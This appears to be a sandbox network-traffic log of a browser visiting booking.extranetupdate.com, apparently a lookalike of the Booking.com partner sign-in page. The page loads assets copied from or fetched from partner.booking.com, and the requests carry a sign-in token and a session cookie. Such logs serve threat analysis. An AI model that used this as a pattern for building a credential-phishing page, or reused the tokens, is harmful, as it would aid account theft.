Source: global traffic	HTTP traffic detected: GET /static/lazysizes.min.js HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /themes/custom/booking/fonts/icons/icons.woff?v=1.3.3 HTTP/1.1Host: partner.booking.comConnection: keep-aliveOrigin: https://booking.extranetupdate.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://booking.extranetupdate.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/45_1975cbc2f7eaad75f590.css HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/938_afde72b9aaa8302ff017.css HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/826_0d1737e180931a217647.css HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/css_399BM-E_9aHp94scPSljMDjXwz84BMBa3y-GIQG8XYY.css HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/css_3iFMQAIstg4teIom2wVaOik81XAQ5V-7tH-iz2mq5to.css HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/evergage.min.js HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/otSDKStub.js/consent/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda.json HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/css_399BM-E_9aHp94scPSljMDjXwz84BMBa3y-GIQG8XYY.css HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/message_alert.svg HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/message_tip.svg HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/css_3iFMQAIstg4teIom2wVaOik81XAQ5V-7tH-iz2mq5to.css HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/a HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/message_alert.svg HTTP/1.1Host: booking.extranetupdate.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/message_tip.svg HTTP/1.1Host: booking.extranetupdate.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/ls.unveilhooks.min.js HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/71cd12cdf77ebcb750cff91a9bba6f04.js HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /jquery-3.7.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: https://booking.extranetupdate.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://booking.extranetupdate.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/optimize.js HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/munchkin.js HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/otBannerSdk.js HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/asset_332_350x180px.png.png HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
